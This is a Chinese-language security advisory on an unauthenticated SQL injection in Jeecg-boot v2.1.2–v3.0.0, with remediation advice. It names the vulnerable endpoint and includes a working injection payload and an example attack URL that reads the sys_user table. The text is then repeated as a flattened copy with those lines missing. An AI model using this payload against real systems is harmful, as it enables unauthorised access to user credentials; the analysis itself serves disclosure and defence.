Jeecg-boot v2.1.2-v3.0.0 后台未授权SQL注入漏洞 分析
字数 920 2025-08-24 07:48:22

Jeecg-boot v2.1.2-v3.0.0 后台未授权SQL注入漏洞分析

漏洞概述

Jeecg-boot是一款基于SpringBoot+Ant Design Vue的快速开发平台,在v2.1.2至v3.0.0版本中存在一个未授权访问的SQL注入漏洞。攻击者可以通过构造特定的请求,无需任何权限验证即可执行任意SQL查询,可能导致敏感数据泄露。

漏洞详情

漏洞位置

漏洞存在于NgAlainController.java文件中,具体路径为:
src/main/java/org/jeecg/modules/ngalain/controller/NgAlainController.java

漏洞接口

存在漏洞的接口为:
/jeecg-boot/sys/ng-alain/getDictItemsByTable/{table}/{text}/{code}

漏洞成因

  1. 未授权访问:该接口未经过JWT+Shiro的权限验证,可以直接访问
  2. SQL注入:接口参数直接拼接进SQL语句,未做任何过滤和参数化处理

漏洞利用

利用条件

  • Jeecg-boot版本在v2.1.2至v3.0.0之间
  • 目标系统未对接口进行额外安全防护

利用方法

  1. 基础利用方式:

    http://[目标IP]:[端口]/jeecg-boot/sys/ng-alain/getDictItemsByTable/sys_user/username/password
    
  2. 构造SQL注入Payload:

    SELECT *, ' as "label",x.js as "value" from ' FROM sys_user
    
  3. 实际攻击URL示例:

    http://192.168.2.2:8081/jeecg-boot//sys/ng-alain/getDictItemsByTable/'%20from%20sys_user/*,%20'/x.js
    

漏洞分析

代码层面分析

漏洞点在于Mapper层的SQL语句构造方式,用户输入直接拼接进SQL语句中,导致SQL注入。

安全机制绕过

虽然系统整体使用了JWT+Shiro进行权限验证,但该特定接口未被纳入权限验证体系,导致可以未授权访问。

修复建议

  1. 参数化查询:使用预编译语句或ORM框架的参数化查询功能
  2. 权限验证:将该接口纳入系统的权限验证体系
  3. 输入过滤:对传入的表名、字段名等参数进行严格校验
  4. 升级版本:升级到修复了该漏洞的版本

参考链接

  • 源码位置: https://github.com/jeecgboot/jeecg-boot/releases/tag/v3.0.0
  • 原始分析文章: 先知社区(链接已提供)

免责声明

本文档仅用于安全研究和教育目的,未经授权对他人系统进行测试可能违反法律。请在合法授权范围内使用这些信息。

Jeecg-boot v2.1.2-v3.0.0 后台未授权SQL注入漏洞分析 漏洞概述 Jeecg-boot是一款基于SpringBoot+Ant Design Vue的快速开发平台,在v2.1.2至v3.0.0版本中存在一个未授权访问的SQL注入漏洞。攻击者可以通过构造特定的请求,无需任何权限验证即可执行任意SQL查询,可能导致敏感数据泄露。 漏洞详情 漏洞位置 漏洞存在于NgAlainController.java文件中,具体路径为: src/main/java/org/jeecg/modules/ngalain/controller/NgAlainController.java 漏洞接口 存在漏洞的接口为: /jeecg-boot/sys/ng-alain/getDictItemsByTable/{table}/{text}/{code} 漏洞成因 未授权访问 :该接口未经过JWT+Shiro的权限验证,可以直接访问 SQL注入 :接口参数直接拼接进SQL语句,未做任何过滤和参数化处理 漏洞利用 利用条件 Jeecg-boot版本在v2.1.2至v3.0.0之间 目标系统未对接口进行额外安全防护 利用方法 基础利用方式: 构造SQL注入Payload: 实际攻击URL示例: 漏洞分析 代码层面分析 漏洞点在于Mapper层的SQL语句构造方式,用户输入直接拼接进SQL语句中,导致SQL注入。 安全机制绕过 虽然系统整体使用了JWT+Shiro进行权限验证,但该特定接口未被纳入权限验证体系,导致可以未授权访问。 修复建议 参数化查询 :使用预编译语句或ORM框架的参数化查询功能 权限验证 :将该接口纳入系统的权限验证体系 输入过滤 :对传入的表名、字段名等参数进行严格校验 升级版本 :升级到修复了该漏洞的版本 参考链接 源码位置: https://github.com/jeecgboot/jeecg-boot/releases/tag/v3.0.0 原始分析文章: 先知社区(链接已提供) 免责声明 本文档仅用于安全研究和教育目的,未经授权对他人系统进行测试可能违反法律。请在合法授权范围内使用这些信息。